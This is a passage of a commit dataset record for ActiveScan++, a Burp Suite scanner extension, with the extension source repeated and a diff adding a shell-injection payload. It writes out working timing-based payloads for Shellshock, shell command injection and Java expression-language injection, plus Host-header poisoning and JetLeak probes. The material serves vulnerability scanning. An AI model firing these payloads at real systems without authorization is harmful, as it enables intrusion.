attempted\n self._extensionMappings = {\n 'php5': 'php',\n 'php4': 'php',\n 'php3': 'php',\n 'php': 'php',\n 'pl': 'perl',\n 'cgi': 'perl',\n 'jsp': 'java',\n 'do': 'java',\n 'action': 'java',\n 'rb': 'ruby',\n '': ['php', 'ruby', 'java'],\n 'unrecognised': 'java',\n\n # Code we don't have exploits for\n 'asp': 'any',\n 'aspx': 'any',\n }\n\n\n def doActiveScan(self, basePair, insertionPoint):\n if (insertionPoint.getInsertionPointName() == \"hosthacker\"):\n return None\n\n # Decide which payloads to use based on the file extension, using a set to prevent duplicate payloads \n payloads = set()\n languages = self._getLangs(basePair)\n for lang in languages:\n new_payloads = self._payloads[lang]\n payloads |= set(new_payloads)\n payloads.update(self._payloads['any'])\n\n # Time how long each response takes compared to the baseline\n # Assumes <4 seconds jitter\n baseTime = 0\n for payload in payloads:\n if (baseTime == 0):\n baseTime = self._attack(basePair, insertionPoint, payload, 0)[0]\n if (self._attack(basePair, insertionPoint, payload, 10)[0] > baseTime + 6):\n print \"Suspicious delay detected. Confirming it's consistent...\"\n (dummyTime, dummyAttack) = self._attack(basePair, insertionPoint, payload, 0)\n if (dummyTime < baseTime + 4):\n (timer, attack) = self._attack(basePair, insertionPoint, payload, 10)\n if (timer > dummyTime + 6):\n print \"Code execution confirmed\"\n url = self._helpers.analyzeRequest(attack).getUrl()\n if (url in self._done):\n break\n self._done.append(url)\n return [CustomScanIssue(attack.getHttpService(), url, [dummyAttack, attack], 'Code injection',\n \"The application appears to evaluate user input as code.

    It was instructed to sleep for 0 seconds, and a response time of \" + str(\n dummyTime) + \" seconds was observed.
    It was then instructed to sleep for 10 seconds, which resulted in a response time of \" + str(\n timer) + \" seconds\", 'Firm', 'High')]\n\n return None\n\n def _getLangs(self, basePair):\n ext = self._helpers.analyzeRequest(basePair).getUrl().getPath().split('.')[-1]\n if (ext in self._extensionMappings):\n code = self._extensionMappings[ext]\n else:\n code = self._extensionMappings['unrecognised']\n if (isinstance(code, basestring)):\n code = [code]\n return code\n\n\n def _attack(self, basePair, insertionPoint, payload, sleeptime):\n payload = Template(payload).substitute(time=sleeptime)\n\n # Use a hack to time the request. This information should be accessible via the API eventually.\n timer = time.time()\n attack = callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(payload))\n timer = time.time() - timer\n print \"Response time: \" + str(round(timer, 2)) + \"| Payload: \" + payload\n\n requestHighlights = insertionPoint.getPayloadOffsets(payload)\n if (not isinstance(requestHighlights, list)):\n requestHighlights = [requestHighlights]\n attack = callbacks.applyMarkers(attack, requestHighlights, None)\n\n return (timer, attack)\n\n\nclass HostAttack(IScannerInsertionPointProvider, IScannerCheck):\n def __init__(self, callbacks):\n self._helpers = callbacks.getHelpers()\n\n self._referer = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(6))\n\n # Load previously identified scanner issues to prevent duplicates\n try:\n self._rebind = map(lambda i: i.getAuthority(), getIssues('Arbitrary host header accepted'))\n except Exception:\n print \"Initialisation callback failed. This extension requires burp suite professional and Jython 2.5.\"\n\n self._poison = getIssues('Host header poisoning')\n\n def getInsertionPoints(self, basePair):\n rawHeaders = self._helpers.analyzeRequest(basePair.getRequest()).getHeaders()\n\n # Parse the headers into a dictionary\n headers = dict((header.split(': ')[0].upper(), header.split(': ', 1)[1]) for header in rawHeaders[1:])\n\n # If the request doesn't use the host header, bail\n if ('HOST' not in headers.keys()):\n return None\n\n response = self._helpers.bytesToString(basePair.getResponse())\n\n # If the response doesn't reflect the host header we can't identify successful attacks\n if (headers['HOST'] not in response):\n print \"Skipping host header attacks on this request as the host isn't reflected\"\n return None\n\n return [HostInsertionPoint(self._helpers, basePair, headers)]\n\n\n def doActiveScan(self, basePair, insertionPoint):\n\n # Return if the insertion point isn't the right one\n if (insertionPoint.getInsertionPointName() != \"hosthacker\"):\n return None\n\n # Return if we've already flagged both issues on this URL\n url = self._helpers.analyzeRequest(basePair).getUrl()\n host = url.getAuthority()\n if (host in self._rebind and url in self._poison):\n return None\n\n # Send a baseline request to learn what the response should look like \n legit = insertionPoint.getBaseValue()\n (attack, resp) = self._attack(basePair, insertionPoint, {'host': legit}, legit)\n baseprint = tagmap(resp)\n\n # Send several requests with invalid host headers and observe whether they reach the target application, and whether the host header is reflected\n taint = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(6))\n taint += '.' + legit\n issues = []\n\n # Host: evil.legit.com\n (attack, resp) = self._attack(basePair, insertionPoint, {'host': taint}, taint)\n if (hit(resp, baseprint)):\n\n # flag DNS-rebinding if we haven't already, and the page actually has content\n if (baseprint != '' and host not in self._rebind):\n issues.append(self._raise(basePair, attack, host, 'dns'))\n\n if (taint in resp and url not in self._poison and self._referer not in resp):\n issues.append(self._raise(basePair, attack, host, 'host'))\n return issues\n else:\n # The application might not be the default VHost, so try an absolute URL:\n #\tGET http://legit.com/foo\n #\tHost: evil.com\n (attack, resp) = self._attack(basePair, insertionPoint, {'abshost': legit, 'host': taint}, taint)\n if (hit(resp, baseprint) and taint in resp and url not in self._poison and self._referer not in resp):\n issues.append(self._raise(basePair, attack, host, 'abs'))\n\n #\tHost: legit.com\n #\tX-Forwarded-Host: evil.com\n (attack, resp) = self._attack(basePair, insertionPoint, {'host': legit, 'xfh': taint}, taint)\n if (hit(resp, baseprint) and taint in resp and url not in self._poison and self._referer not in resp):\n issues.append(self._raise(basePair, attack, host, 'xfh'))\n\n return issues\n\n def _raise(self, basePair, attack, host, type):\n service = attack.getHttpService()\n url = self._helpers.analyzeRequest(attack).getUrl()\n\n if (type == 'dns'):\n title = 'Arbitrary host header accepted'\n sev = 'Low'\n conf = 'Certain'\n desc = \"\"\"The application appears to be accessible using arbitrary HTTP Host headers.

    \n \n This is a serious issue if the application is not externally accessible or uses IP-based access restrictions. Attackers can use DNS Rebinding to bypass any IP or firewall based access restrictions that may be in place, by proxying through their target's browser.
    \n Note that modern web browsers' use of DNS pinning does not effectively prevent this attack. The only effective mitigation is server-side: https://bugzilla.mozilla.org/show_bug.cgi?id=689835#c13

    \n \n Additionally, it may be possible to directly bypass poorly implemented access restrictions by sending a Host header of 'localhost'\"\"\"\n self._rebind.append(host)\n else:\n title = 'Host header poisoning'\n sev = 'Medium'\n conf = 'Tentative'\n desc = \"\"\"The application appears to trust the user-supplied host header. By supplying a malicious host header with a password reset request, it may be possible to generate a poisoned password reset link. Consider testing the host header for classic server-side injection vulnerabilities.
    \n
    \n Depending on the configuration of the server and any intervening caching devices, it may also be possible to use this for cache poisoning attacks.
    \n
    \n Resources:

    \n \"\"\"\n self._poison.append(url)\n issue = CustomScanIssue(service, url, [basePair, attack], title, desc, conf, sev)\n return issue\n\n def _attack(self, basePair, insertionPoint, payloads, taint):\n proto = self._helpers.analyzeRequest(basePair).getUrl().getProtocol() + '://'\n if ('abshost' in payloads):\n payloads['abshost'] = proto + payloads['abshost']\n payloads['referer'] = proto + taint + '/' + self._referer\n print \"Host attack: \" + str(payloads)\n attack = callbacks.makeHttpRequest(basePair.getHttpService(),\n insertionPoint.buildRequest('hosthacker' + pickle.dumps(payloads)))\n response = self._helpers.bytesToString(attack.getResponse())\n requestHighlights = [jarray.array([m.start(), m.end()], 'i') for m in\n re.finditer('(' + '|'.join(payloads.values()) + ')',\n self._helpers.bytesToString(attack.getRequest()))]\n responseHighlights = [jarray.array([m.start(), m.end()], 'i') for m in re.finditer(taint, response)]\n attack = callbacks.applyMarkers(attack, requestHighlights, responseHighlights)\n return (attack, response)\n\n\n# Take input from HostAttack.doActiveScan() and use it to construct a HTTP request\nclass HostInsertionPoint(IScannerInsertionPoint):\n def __init__(self, helpers, basePair, rawHeaders):\n self._helpers = helpers\n self._baseHost = rawHeaders['HOST']\n request = self._helpers.bytesToString(basePair.getRequest())\n request = request.replace('$', '\\$')\n request = request.replace('/', '$abshost/', 1)\n\n # add a cachebust parameter\n if ('?' in request[0:request.index('\\n')]):\n request = re.sub('(?i)([a-z]+ [^ ]+)', r'\\1&cachebust=${cachebust}', request, 1)\n else:\n request = re.sub('(?i)([a-z]+ [^ ]+)', r'\\1?cachebust=${cachebust}', request, 1)\n\n request = re.sub('(?im)^Host: [a-zA-Z0-9-_.:]*', 'Host: ${host}${xfh}', request, 1)\n if ('REFERER' in rawHeaders):\n request = re.sub('(?im)^Referer: http[s]?://[a-zA-Z0-9-_.:]*', 'Referer: ${referer}', request, 1)\n\n if ('CACHE-CONTROL' in rawHeaders):\n request = re.sub('(?im)^Cache-Control: [^\\r\\n]+', 'Cache-Control: no-cache', request, 1)\n else:\n request = request.replace('Host: ${host}${xfh}', 'Host: ${host}${xfh}\\r\\nCache-Control: no-cache', 1)\n\n self._requestTemplate = Template(request)\n return None\n\n def getInsertionPointName(self):\n return \"hosthacker\"\n\n def getBaseValue(self):\n return self._baseHost\n\n def buildRequest(self, payload):\n\n # Drop the attack if it didn't originate from my scanner\n # This will cause an exception, no available workarounds at this time\n payload = self._helpers.bytesToString(payload)\n if (payload[:10] != 'hosthacker'):\n return None\n\n # Load the supplied payloads into the request\n payloads = pickle.loads(payload[10:])\n if 'xfh' in payloads:\n payloads['xfh'] = \"\\r\\nX-Forwarded-Host: \" + payloads['xfh']\n\n for key in ('xfh', 'abshost', 'host', 'referer'):\n if key not in payloads:\n payloads[key] = ''\n\n # Ensure that the response to our request isn't cached - that could be harmful\n payloads['cachebust'] = time.time()\n\n request = self._requestTemplate.substitute(payloads)\n return self._helpers.stringToBytes(request)\n\n\n def getPayloadOffsets(self, payload):\n return None\n\n def getInsertionPointType(self):\n return INS_EXTENSION_PROVIDED\n\n\nclass CustomScanIssue(IScanIssue):\n def __init__(self, httpService, url, httpMessages, name, detail, confidence, severity):\n self.HttpService = httpService\n self.Url = url\n self.HttpMessages = httpMessages\n self.Name = name\n self.Detail = detail + '

    This issue was reported by ActiveScan++
    '\n self.Severity = severity\n self.Confidence = confidence\n print \"Reported: \" + name + \" on \" + str(url)\n return\n\n def getUrl(self):\n return self.Url\n\n def getIssueName(self):\n return self.Name\n\n def getIssueType(self):\n return 0\n\n def getSeverity(self):\n return self.Severity\n\n def getConfidence(self):\n return self.Confidence\n\n def getIssueBackground(self):\n return None\n\n def getRemediationBackground(self):\n return None\n\n def getIssueDetail(self):\n return self.Detail\n\n def getRemediationDetail(self):\n return None\n\n def getHttpMessages(self):\n return self.HttpMessages\n\n def getHttpService(self):\n return self.HttpService\n\n\n# misc utility methods\ndef location(url):\n return url.getProtocol() + \"://\" + url.getAuthority() + url.getPath()\n\n\ndef htmllist(list):\n list = [\"
  • \" + item + \"
    • \" for item in list]\n return \"\"\n\n\ndef tagmap(resp):\n tags = ''.join(re.findall(\"(?im)(<[a-z]+)\", resp))\n return tags\n\n\ndef hit(resp, baseprint):\n return (baseprint == tagmap(resp))\n\n\n# currently unused as .getUrl() ignores the query string\ndef issuesMatch(existingIssue, newIssue):\n if (existingIssue.getUrl() == newIssue.getUrl() and existingIssue.getIssueName() == newIssue.getIssueName()):\n return -1\n else:\n return 0\n\n\ndef getIssues(name):\n prev_reported = filter(lambda i: i.getIssueName() == name, callbacks.getScanIssues(''))\n return (map(lambda i: i.getUrl(), prev_reported))"}}, "msg": "Add Ruby open() exploit, improve windows shell command injection, fix file extension recognition"}, "78c77d136cac9be92eb5e9fb350b154735bf44b2": {"url": "https://api.github.com/repos/albinowax/ActiveScanPlusPlus/commits/78c77d136cac9be92eb5e9fb350b154735bf44b2", "html_url": "https://github.com/albinowax/ActiveScanPlusPlus/commit/78c77d136cac9be92eb5e9fb350b154735bf44b2", "sha": "78c77d136cac9be92eb5e9fb350b154735bf44b2", "keyword": "command injection check", "diff": "diff --git a/activeScan++.py b/activeScan++.py\nindex 8d82bc5..10827c4 100644\n--- a/activeScan++.py\n+++ b/activeScan++.py\n@@ -82,7 +82,7 @@ def __init__(self, callbacks):\n self._payloads = {\n # Exploits shell command injection into '$input' on linux and \"$input\" on windows:\n # and CVE-2014-6271, CVE-2014-6278\n- 'any': ['\"&ping -n $time localhost&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }'],\n+ 'any': ['\"&ping -n $time localhost&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }', '$$(sleep $time)'],\n 'php': [],\n 'perl': [],\n 'ruby': ['|sleep $time & ping -n $time localhost'],\n", "message": "", "files": {"/activeScan++.py": {"changes": [{"diff": "\n self._payloads = {\n # Exploits shell command injection into '$input' on linux and \"$input\" on windows:\n # and CVE-2014-6271, CVE-2014-6278\n- 'any': ['\"&ping -n $time localhost&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }'],\n+ 'any': ['\"&ping -n $time localhost&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }', '$$(sleep $time)'],\n 'php': [],\n 'perl': [],\n 'ruby': ['|sleep $time & ping -n $time localhost'],\n", "add": 1, "remove": 1, "filename": "/activeScan++.py", "badparts": [" 'any': ['\"&ping -n $time localhost&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }'],"], "goodparts": [" 'any': ['\"&ping -n $time localhost&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }', '$$(sleep $time)'],"]}], "source": "\n try: import pickle import random import re import string import time from string import Template from cgi import escape from burp import IBurpExtender, IScannerInsertionPointProvider, IScannerInsertionPoint, IParameter, IScannerCheck, IScanIssue import jarray except ImportError: print \"Failed to load dependencies. This issue may be caused by using the unstable Jython 2.7 beta.\" version=\"1.0.10\" callbacks=None class BurpExtender(IBurpExtender): def registerExtenderCallbacks(self, this_callbacks): global callbacks callbacks=this_callbacks callbacks.setExtensionName(\"activeScan++\") host=HostAttack(callbacks) callbacks.registerScannerInsertionPointProvider(host) callbacks.registerScannerCheck(host) callbacks.registerScannerCheck(CodeExec(callbacks)) callbacks.registerScannerCheck(JetLeak(callbacks)) print \"Successfully loaded activeScan++v\" +version return class JetLeak(IScannerCheck): def __init__(self, callbacks): self._helpers=callbacks.getHelpers() def doActiveScan(self, basePair, insertionPoint): if 'Referer' !=insertionPoint.getInsertionPointName(): return None attack=callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(\"\\x00\")) resp_start=self._helpers.bytesToString(attack.getResponse())[:90] if '400 Illegal character 0x0 in state' in resp_start and '<<<' in resp_start: return[CustomScanIssue(attack.getHttpService(), self._helpers.analyzeRequest(attack).getUrl(),[attack], 'CVE-2015-2080(JetLeak)', \"The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory
    \" \"Please refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information\", 'Firm', 'High')] return None class CodeExec(IScannerCheck): def __init__(self, callbacks): self._helpers=callbacks.getHelpers() self._done=getIssues('Code injection') self._payloads={ 'any':['\"&ping -n $time localhost&\\'`sleep $time`\\'', '(){:;}; /bin/sleep $time', '(){ _;} >_[$$($$())]{ /bin/sleep $time;}'], 'php':[], 'perl':[], 'ruby':['|sleep $time & ping -n $time localhost'], 'java':[ '$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"timeout\",\"$time\"})).start()).getInputStream()))).readLine()}$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"sleep\",\"$time\"})).start()).getInputStream()))).readLine()}'], } self._extensionMappings={ 'php5': 'php', 'php4': 'php', 'php3': 'php', 'php': 'php', 'pl': 'perl', 'cgi': 'perl', 'jsp': 'java', 'do': 'java', 'action': 'java', 'rb': 'ruby', '':['php', 'ruby', 'java'], 'unrecognised': 'java', 'asp': 'any', 'aspx': 'any', } def doActiveScan(self, basePair, insertionPoint): if(insertionPoint.getInsertionPointName()==\"hosthacker\"): return None payloads=set() languages=self._getLangs(basePair) for lang in languages: new_payloads=self._payloads[lang] payloads |=set(new_payloads) payloads.update(self._payloads['any']) baseTime=0 for payload in payloads: if(baseTime==0): baseTime=self._attack(basePair, insertionPoint, payload, 0)[0] if(self._attack(basePair, insertionPoint, payload, 11)[0] > baseTime +6): print \"Suspicious delay detected. Confirming it's consistent...\" (dummyTime, dummyAttack)=self._attack(basePair, insertionPoint, payload, 0) if(dummyTime < baseTime +4): (timer, attack)=self._attack(basePair, insertionPoint, payload, 11) if(timer > dummyTime +6): print \"Code execution confirmed\" url=self._helpers.analyzeRequest(attack).getUrl() if(url in self._done): print \"Skipping report -vulnerability already reported\" break self._done.append(url) return[CustomScanIssue(attack.getHttpService(), url,[dummyAttack, attack], 'Code injection', \"The application appears to evaluate user input as code.

    It was instructed to sleep for 0 seconds, and a response time of \" +str( dummyTime) +\" seconds was observed.
    It was then instructed to sleep for 10 seconds, which resulted in a response time of \" +str( timer) +\" seconds\", 'Firm', 'High')] return None def _getLangs(self, basePair): path=self._helpers.analyzeRequest(basePair).getUrl().getPath() if '.' in path: ext=path.split('.')[-1] else: ext='' if(ext in self._extensionMappings): code=self._extensionMappings[ext] else: code=self._extensionMappings['unrecognised'] if(isinstance(code, basestring)): code=[code] return code def _attack(self, basePair, insertionPoint, payload, sleeptime): payload=Template(payload).substitute(time=sleeptime) timer=time.time() attack=callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(payload)) timer=time.time() -timer print \"Response time: \" +str(round(timer, 2)) +\"| Payload: \" +payload requestHighlights=insertionPoint.getPayloadOffsets(payload) if(not isinstance(requestHighlights, list)): requestHighlights=[requestHighlights] attack=callbacks.applyMarkers(attack, requestHighlights, None) return(timer, attack) class HostAttack(IScannerInsertionPointProvider, IScannerCheck): def __init__(self, callbacks): self._helpers=callbacks.getHelpers() self._referer=''.join(random.choice(string.ascii_lowercase +string.digits) for x in range(6)) try: self._rebind=map(lambda i: i.getAuthority(), getIssues('Arbitrary host header accepted')) except Exception: print \"Initialisation callback failed. This extension requires burp suite professional and Jython 2.5.\" self._poison=getIssues('Host header poisoning') def getInsertionPoints(self, basePair): rawHeaders=self._helpers.analyzeRequest(basePair.getRequest()).getHeaders() headers=dict((header.split(': ')[0].upper(), header.split(': ', 1)[1]) for header in rawHeaders[1:]) if('HOST' not in headers.keys()): return None response=self._helpers.bytesToString(basePair.getResponse()) if(headers['HOST'] not in response): print \"Skipping host header attacks on this request as the host isn't reflected\" return None return[HostInsertionPoint(self._helpers, basePair, headers)] def doActiveScan(self, basePair, insertionPoint): if(insertionPoint.getInsertionPointName() !=\"hosthacker\"): return None url=self._helpers.analyzeRequest(basePair).getUrl() host=url.getAuthority() if(host in self._rebind and url in self._poison): return None legit=insertionPoint.getBaseValue() (attack, resp)=self._attack(basePair, insertionPoint,{'host': legit}, legit) baseprint=tagmap(resp) taint=''.join(random.choice(string.ascii_lowercase +string.digits) for x in range(6)) taint +='.' +legit issues=[] (attack, resp)=self._attack(basePair, insertionPoint,{'host': taint}, taint) if(hit(resp, baseprint)): if(baseprint !='' and host not in self._rebind): issues.append(self._raise(basePair, attack, host, 'dns')) if(taint in resp and url not in self._poison and self._referer not in resp): issues.append(self._raise(basePair, attack, host, 'host')) return issues else: (attack, resp)=self._attack(basePair, insertionPoint,{'abshost': legit, 'host': taint}, taint) if(hit(resp, baseprint) and taint in resp and url not in self._poison and self._referer not in resp): issues.append(self._raise(basePair, attack, host, 'abs')) (attack, resp)=self._attack(basePair, insertionPoint,{'host': legit, 'xfh': taint}, taint) if(hit(resp, baseprint) and taint in resp and url not in self._poison and self._referer not in resp): issues.append(self._raise(basePair, attack, host, 'xfh')) return issues def _raise(self, basePair, attack, host, type): service=attack.getHttpService() url=self._helpers.analyzeRequest(attack).getUrl() if(type=='dns'): title='Arbitrary host header accepted' sev='Low' conf='Certain' desc=\"\"\"The application appears to be accessible using arbitrary HTTP Host headers.

    This is a serious issue if the application is not externally accessible or uses IP-based access restrictions. Attackers can use DNS Rebinding to bypass any IP or firewall based access restrictions that may be in place, by proxying through their target's browser.
    Note that modern web browsers' use of DNS pinning does not effectively prevent this attack. The only effective mitigation is server-side: https://bugzilla.mozilla.org/show_bug.cgi?id=689835 Additionally, it may be possible to directly bypass poorly implemented access restrictions by sending a Host header of 'localhost'\"\"\" self._rebind.append(host) else: title='Host header poisoning' sev='Medium' conf='Tentative' desc=\"\"\"The application appears to trust the user-supplied host header. By supplying a malicious host header with a password reset request, it may be possible to generate a poisoned password reset link. Consider testing the host header for classic server-side injection vulnerabilities.

    Depending on the configuration of the server and any intervening caching devices, it may also be possible to use this for cache poisoning attacks.

    Resources:

    \"\"\" self._poison.append(url) issue=CustomScanIssue(service, url,[basePair, attack], title, desc, conf, sev) return issue def _attack(self, basePair, insertionPoint, payloads, taint): proto=self._helpers.analyzeRequest(basePair).getUrl().getProtocol() +'://' if('abshost' in payloads): payloads['abshost']=proto +payloads['abshost'] payloads['referer']=proto +taint +'/' +self._referer print \"Host attack: \" +str(payloads) attack=callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest('hosthacker' +pickle.dumps(payloads))) response=self._helpers.bytesToString(attack.getResponse()) requestHighlights=[jarray.array([m.start(), m.end()], 'i') for m in re.finditer('(' +'|'.join(payloads.values()) +')', self._helpers.bytesToString(attack.getRequest()))] responseHighlights=[jarray.array([m.start(), m.end()], 'i') for m in re.finditer(taint, response)] attack=callbacks.applyMarkers(attack, requestHighlights, responseHighlights) return(attack, response) class HostInsertionPoint(IScannerInsertionPoint): def __init__(self, helpers, basePair, rawHeaders): self._helpers=helpers self._baseHost=rawHeaders['HOST'] request=self._helpers.bytesToString(basePair.getRequest()) request=request.replace('$', '\\$') request=request.replace('/', '$abshost/', 1) if('?' in request[0:request.index('\\n')]): request=re.sub('(?i)([a-z]+[^]+)', r'\\1&cachebust=${cachebust}', request, 1) else: request=re.sub('(?i)([a-z]+[^]+)', r'\\1?cachebust=${cachebust}', request, 1) request=re.sub('(?im)^Host:[a-zA-Z0-9-_.:]*', 'Host: ${host}${xfh}', request, 1) if('REFERER' in rawHeaders): request=re.sub('(?im)^Referer: http[s]?://[a-zA-Z0-9-_.:]*', 'Referer: ${referer}', request, 1) if('CACHE-CONTROL' in rawHeaders): request=re.sub('(?im)^Cache-Control:[^\\r\\n]+', 'Cache-Control: no-cache', request, 1) else: request=request.replace('Host: ${host}${xfh}', 'Host: ${host}${xfh}\\r\\nCache-Control: no-cache', 1) self._requestTemplate=Template(request) return None def getInsertionPointName(self): return \"hosthacker\" def getBaseValue(self): return self._baseHost def buildRequest(self, payload): payload=self._helpers.bytesToString(payload) if(payload[:10] !='hosthacker'): return None payloads=pickle.loads(payload[10:]) if 'xfh' in payloads: payloads['xfh']=\"\\r\\nX-Forwarded-Host: \" +payloads['xfh'] for key in('xfh', 'abshost', 'host', 'referer'): if key not in payloads: payloads[key]='' payloads['cachebust']=time.time() request=self._requestTemplate.substitute(payloads) return self._helpers.stringToBytes(request) def getPayloadOffsets(self, payload): return None def getInsertionPointType(self): return INS_EXTENSION_PROVIDED class CustomScanIssue(IScanIssue): def __init__(self, httpService, url, httpMessages, name, detail, confidence, severity): self.HttpService=httpService self.Url=url self.HttpMessages=httpMessages self.Name=name self.Detail=detail +'

    This issue was reported by ActiveScan++
    ' self.Severity=severity self.Confidence=confidence print \"Reported: \" +name +\" on \" +str(url) return def getUrl(self): return self.Url def getIssueName(self): return self.Name def getIssueType(self): return 0 def getSeverity(self): return self.Severity def getConfidence(self): return self.Confidence def getIssueBackground(self): return None def getRemediationBackground(self): return None def getIssueDetail(self): return self.Detail def getRemediationDetail(self): return None def getHttpMessages(self): return self.HttpMessages def getHttpService(self): return self.HttpService def location(url): return url.getProtocol() +\"://\" +url.getAuthority() +url.getPath() def htmllist(list): list=[\"
  • \" +item +\"
    • \" for item in list] return \"\" def tagmap(resp): tags=''.join(re.findall(\"(?im)(<[a-z]+)\", resp)) return tags def hit(resp, baseprint): return(baseprint==tagmap(resp)) def issuesMatch(existingIssue, newIssue): if(existingIssue.getUrl()==newIssue.getUrl() and existingIssue.getIssueName()==newIssue.getIssueName()): return -1 else: return 0 def getIssues(name): prev_reported=filter(lambda i: i.getIssueName()==name, callbacks.getScanIssues('')) return(map(lambda i: i.getUrl(), prev_reported)) ", "sourceWithComments": "# Author: James Kettle \n# Copyright 2014 Context Information Security up to 1.0.5\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\ntry:\n import pickle\n import random\n import re\n import string\n import time\n from string import Template\n from cgi import escape\n\n from burp import IBurpExtender, IScannerInsertionPointProvider, IScannerInsertionPoint, IParameter, IScannerCheck, IScanIssue\n import jarray\nexcept ImportError:\n print \"Failed to load dependencies. This issue may be caused by using the unstable Jython 2.7 beta.\"\n\n\nversion = \"1.0.10\"\ncallbacks = None\n\n\nclass BurpExtender(IBurpExtender):\n def registerExtenderCallbacks(self, this_callbacks):\n global callbacks\n callbacks = this_callbacks\n\n callbacks.setExtensionName(\"activeScan++\")\n\n # Register host attack components\n host = HostAttack(callbacks)\n callbacks.registerScannerInsertionPointProvider(host)\n callbacks.registerScannerCheck(host)\n\n # Register code exec component\n callbacks.registerScannerCheck(CodeExec(callbacks))\n\n\n callbacks.registerScannerCheck(JetLeak(callbacks))\n\n print \"Successfully loaded activeScan++ v\" + version\n\n return\n\n# Detect CVE-2015-2080\n# Technique based on https://github.com/GDSSecurity/Jetleak-Testing-Script/blob/master/jetleak_tester.py\nclass JetLeak(IScannerCheck):\n def __init__(self, callbacks):\n self._helpers = callbacks.getHelpers()\n\n def doActiveScan(self, basePair, insertionPoint):\n if 'Referer' != insertionPoint.getInsertionPointName():\n return None\n attack = callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(\"\\x00\"))\n resp_start = self._helpers.bytesToString(attack.getResponse())[:90]\n if '400 Illegal character 0x0 in state' in resp_start and '<<<' in resp_start:\n return [CustomScanIssue(attack.getHttpService(), self._helpers.analyzeRequest(attack).getUrl(), [attack], 'CVE-2015-2080 (JetLeak)',\n \"The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory
    \"\n \"Please refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information\", 'Firm', 'High')]\n return None\n\n# This extends the active scanner with a number of timing-based code execution checks\n# _payloads contains the payloads, designed to delay the response by $time seconds\n# _extensionMappings defines which payloads get called on which file extensions\nclass CodeExec(IScannerCheck):\n def __init__(self, callbacks):\n self._helpers = callbacks.getHelpers()\n\n self._done = getIssues('Code injection')\n\n self._payloads = {\n # Exploits shell command injection into '$input' on linux and \"$input\" on windows:\n # and CVE-2014-6271, CVE-2014-6278\n 'any': ['\"&ping -n $time localhost&\\'`sleep $time`\\'', '() { :;}; /bin/sleep $time', '() { _; } >_[$$($$())] { /bin/sleep $time; }'],\n 'php': [],\n 'perl': [],\n 'ruby': ['|sleep $time & ping -n $time localhost'],\n # Expression language injection\n 'java': [\n '$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"timeout\",\"$time\"})).start()).getInputStream()))).readLine()}$${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"sleep\",\"$time\"})).start()).getInputStream()))).readLine()}'],\n }\n\n # Used to ensure only appropriate payloads are attempted\n self._extensionMappings = {\n 'php5': 'php',\n 'php4': 'php',\n 'php3': 'php',\n 'php': 'php',\n 'pl': 'perl',\n 'cgi': 'perl',\n 'jsp': 'java',\n 'do': 'java',\n 'action': 'java',\n 'rb': 'ruby',\n '': ['php', 'ruby', 'java'],\n 'unrecognised': 'java',\n\n # Code we don't have exploits for\n 'asp': 'any',\n 'aspx': 'any',\n }\n\n\n def doActiveScan(self, basePair, insertionPoint):\n if (insertionPoint.getInsertionPointName() == \"hosthacker\"):\n return None\n\n # Decide which payloads to use based on the file extension, using a set to prevent duplicate payloads \n payloads = set()\n languages = self._getLangs(basePair)\n for lang in languages:\n new_payloads = self._payloads[lang]\n payloads |= set(new_payloads)\n payloads.update(self._payloads['any'])\n\n # Time how long each response takes compared to the baseline\n # Assumes <4 seconds jitter\n baseTime = 0\n for payload in payloads:\n if (baseTime == 0):\n baseTime = self._attack(basePair, insertionPoint, payload, 0)[0]\n if (self._attack(basePair, insertionPoint, payload, 11)[0] > baseTime + 6):\n print \"Suspicious delay detected. Confirming it's consistent...\"\n (dummyTime, dummyAttack) = self._attack(basePair, insertionPoint, payload, 0)\n if (dummyTime < baseTime + 4):\n (timer, attack) = self._attack(basePair, insertionPoint, payload, 11)\n if (timer > dummyTime + 6):\n print \"Code execution confirmed\"\n url = self._helpers.analyzeRequest(attack).getUrl()\n if (url in self._done):\n print \"Skipping report - vulnerability already reported\"\n break\n self._done.append(url)\n return [CustomScanIssue(attack.getHttpService(), url, [dummyAttack, attack], 'Code injection',\n \"The application appears to evaluate user input as code.

    It was instructed to sleep for 0 seconds, and a response time of \" + str(\n dummyTime) + \" seconds was observed.
